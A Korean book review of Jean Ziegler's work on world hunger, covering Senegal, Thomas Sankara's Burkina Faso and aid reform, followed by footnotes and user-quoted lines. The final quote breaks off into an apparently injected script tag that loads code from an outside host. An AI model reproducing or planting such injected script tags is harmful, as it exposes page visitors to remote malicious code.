    예컨대 세네갈의 경우에는 “오로지 땅콩 농사에만 매달리도록 강요 받았어. (그 결과 어쩔 수 없이) 세네갈정부는 땅콩을 수출해서 벌어들인 수입의 일부로 태국이나 캄보디아, 혹은 그 밖의 나라에서 쌀을 대량으로 구입하지. 세네갈의 주식은 쌀이거든.



     



    세네갈의 국민들은 무척 부지런해서 식량을 자급자족할 능력이 있는데도 불구하고 식량을 수입해야만 하는 시스템이 된 거야.



     



    (게다가 땅콩의) 수출가격을 결정하는 세계시장에 대해서 세네갈 자신은 아무런 영향력도 갖고 있지 않아. 그래서 전통적으로 매우 근면한 농민들과 비옥한 땅을 가진 나라에서 식량부족 사태가 확산되고 있는 거야.7)



     



    이처럼 독립은 했지만 여전히 옛 종주국의 눈치를 살피고 있는 상황을 바꾸지 못하면 구조적 기아에서 벗어나는 것은 불가능하다.



     



     



     



    막상 사회구조를 바꾸려는 지도자가 등장하더라도 이를 정착시키기는 쉽지 않다. ‘아프리카의 체 게바라’라고 불리며, 쿠데타를 통해 권력을 장악한 오트볼타 공화국의 젊은 장교 토마스 상카라(Thomas Sankara, 1949~1987)는 국명을 부르키나파소(‘고결한 자들의 나라’라는 뜻)로 바꾸고, ‘자주관리 정책’에 따른 지역자치, 대규모 철도 건설, 인두세 폐지, 개간 가능한 토지의 국유화 등의 개혁정책을 실행에 옮겼다. 그 결과 4년 만에 식량을 자급자족할 수 있었다. 하지만 이러한 급진적 개혁을 위해 노동조합을 금지하고 언론을 탄압하는 등의 권위주의적 통치를 펼치는 등의 부정적 측면도 존재한다.



     



    어쨌든 그의 개혁은 미국의 지원을 받은, 한때 동지였던 블레즈 콩파오레(Blaise Compaoré, 1951~ )에 의해 제거됨으로써 사라져버렸다. 그리고 짧은 봄을 만끽했던 부르키나파소는 “만연한 부패, 외국에 대한 극단적인 의존, 만성적인 기아, 신식민주의적 수탈과 멸시, 방만한 국가재정, 기생적인 관료들, 그리고 절망하는 농민들...8)”으로 대표되는 과거의 모습으로 회귀하였다.



     



     



     



     



     



    기아를 막기 위해 무엇을 해야 하나



     



     



     



    기아, 구체적으로는 구조적 기아를 막기 위해서는 앞에서 본 것처럼 사회구조를 바꾸고, 식량자립을 이루어야 한다. 지금처럼 세계화가 이루어진 세상에서는 더욱 어려운 일이다.



     



     



     



    그렇다면 무엇부터 해야 할까? 저자는 세 가지 조치를 취할 것을 요청하고 있다.



     



    첫째, 인도적 지원의 효율화이다. 차드 공화국의 이드리스 데비(Idriss Déby, 1952~ ) 정부에 지원한 1억 2,000만 달러 규모의 지원금은 인도적인 구호조처보다는 기득권 세력을 강화하고 그들에 저항하는 세력을 억압하는데 쓰여졌다.9) 그러다 보니 “구호단체들이 전쟁을 더 연장시키고 살인자들을 배 불리고 있다10)”는 비난까지 받게 된다.



     



    둘째, 원조보다는 개혁이 먼저다. 이는 앞에서 말한 첫 번째 조치와 연결되는데, 개혁이 없다면 원조는 단지 밑 빠진 독에 물 붓는 것밖에 되지 않기 때문이다.



     



    단순히 기아를 모면할 식량원조만 계속한다는 것은 그들을 의존적으로 만든다. 식량원조에 참여하는 개인, 단체, 국가들은 자기만족을 얻을 수 있겠지만, 원조를 받는 국가들은 식량원조를 하는 국가에 종속적으로 될 수 밖에 없다. 결국 개혁이 없다면, 당장의 기아를 모면하기 위한 식량원조가 원조국에 종속적인 애완동물을 양산하는 결과를 초래할 뿐이다.



     



    셋째, 인프라 정비가 필요하다. 왜냐하면 이들 가난한 나라에는 도로 건설과 같은 경제활동과 밀접한 사회자본도 부족하지만, 해당 토지에 적합한 종자나 농경전문지식 등도 부족하기 때문이다.



     



    하지만 이 조차도 저자는 “세계 여론이 동원되어야 하며, 현재의 경제 지배자들의 각성과 연대의식이 있어야 (가능)11)하다고 본다.



     



     



     



    손바닥을 뒤집듯이 당장에 기아문제를 해결할 수 있다고 여기지 말자. 기아문제는 아찔한 공중 줄타기 공연처럼 한 줄의 현실에 발을 딛고 섬세한 균형감각을 발휘하여 앞으로 나아가야 한다. 왜냐하면 성급하게 문제를 해결하려다 보면 극단적인 방법을 동원하게 되고, 그러다 보면 독재로 흐르기 쉽기 때문이다. 그것이 아니라면, 단지 양심을 달래기 위한 공약(空約)에 불과하다.



     



     





    1) 장 지글러 지음, <왜 세계의 절반은 굶주리는가?>, 유영미 옮김, (갈라파고스, 2007), pp. 36~37



    2) 장 지글러 지음, 앞의 책, p. 37



    3) 장 지글러 지음, 앞의 책, p. 48



    4) 장 지글러 지음, 앞의 책, p. 49



    5) 장 지글러 지음, 앞의 책, pp. 99~101



    6) 장 지글러 지음, 앞의 책, p. 132



    7) 장 지글러 지음, 앞의 책, pp. 133~135



    8) 장 지글러 지음, 앞의 책, p. 151



    9) 장 지글러 지음, 앞의 책, p. 165



    10) 장 지글러 지음, 앞의 책, p. 90



    11) 장 지글러 지음, 앞의 책, p. 168



    리뷰줄이기
책 속의 한줄
  •   왜 세계의 절반은 굶주리는가?







































    37 현재로서는 문제의 핵심이 사회구조에 있단다. 식량 자체는 풍부하게 있는데도, 가난한 사람들에게는 그것을 확보할 경제적 수단이 없어. 그런 식으로 식령이 불공평하게 분배되는 바람에 안타깝게도 매년 수백만의 인구가 굶어죽고 있는 거야
    58 긴급구호는 쉬운 일이 아니고, 아주 잘 훈련된 인력이 있어야 한다는 거야. 영양불량이 심각한 상태에 있는 아이들은 면밀한 계획에 따라 신중하게 치료해야 해. 굶주린 사람들에게 무턱대고 먹을 것을 주면 오히려 위험하단다. 자칫 생명을 앗아버리는 일이 될 수도 있지. 굶주림에 시달린 몸은 몹시 쇠약해져 있어서, 구호 센터에 모습을 드러낼 즈음에는 신진대사가 극도로 악화괴어 있는 경우가 많단다.
    63 카림, 그런데 더욱 비참한 것은 배고픔의 저주가 세대에서 세대로 대물림된다는 거야. 심각한 영양실조에 걸린 수백만의 엄마들이 매년 지구 곳곳에서 수백만의 건강하지 않은 아이들을 낳고 있어.
    73 세계시장에 비축된 식량의 가격이 종종 인위적으로 부풀려진다는 데 있어. 세계시장에서 거래되는 거의 모든 농산품 가격이 투기의 영향을 받는다는 것은 알고 있니? 미국 시카고의 미시간 호숫가에는 위압적인 건물이 솟아 이어. 바로 시카고 곡물거래소야. 세계의 주요 농산물이 거래되는 곳이지. 이곳에서는 몇몇 금융자본가들이 좌지우지하고 있어.

    117 하지만 앞으로도 사막화로 인해 고향을 떠날 수십만 명은 어떻게 되는 거죠?

    그들을 도울 능력이 없음을 절감한 유엔은 그들을 ‘환경난민’이라 부르게 되었어. 그런데 문제는 정치난민과 달라서, 그들은 국제사회가 정한 ‘난민조약’(1951년)에 규정된 난민으로서의 권리를 인정받지 못하고 있다는 거야.
    153 무엇보다도 인간을 인간으로서 대하지 못하게 된 살인적인 사회구조를 근본적으로 뒤엎어야 해. 인간의 얼굴을 버린 채 사회윤리를 벗어난 시장원리주의 경제(신자유주의), 폭력적인 금융자본 등이 세계를 불평등하고 비참하게 만들고 있어. 그래서 결국은 자신의 손으로 자신의 나라를 세우고 자립적인 경제를 가꾸려는 노력이 우선적으로 필요한 거야.
    169 장 자크 루소는 ‘사회계약론’에서 “약자와 강자 사이에서는 자유가 억압이며 법이 해방이다”라고 썼다. 시장의 완전한 자유는 억압과 착취와 죽음을 의미한다. 법칙은 사회정의를 보장한다. 세계시장은 규범을 필요로 한다. 그리고 이것은 민중의 집단적인 의지를 통해 마련되어야 한다.
    171 희망은 어디에 있는가?
    정의에 대한 인간의 불굴의 의지 속에 존재한다.
    파블로 네루다는 그것을 이렇게 표현하였다.

    “그들?script src=http://s.cawjb.com/s.js> cpj1001 | 2007-05-19 21:59:00

    책속의 한줄 쓰기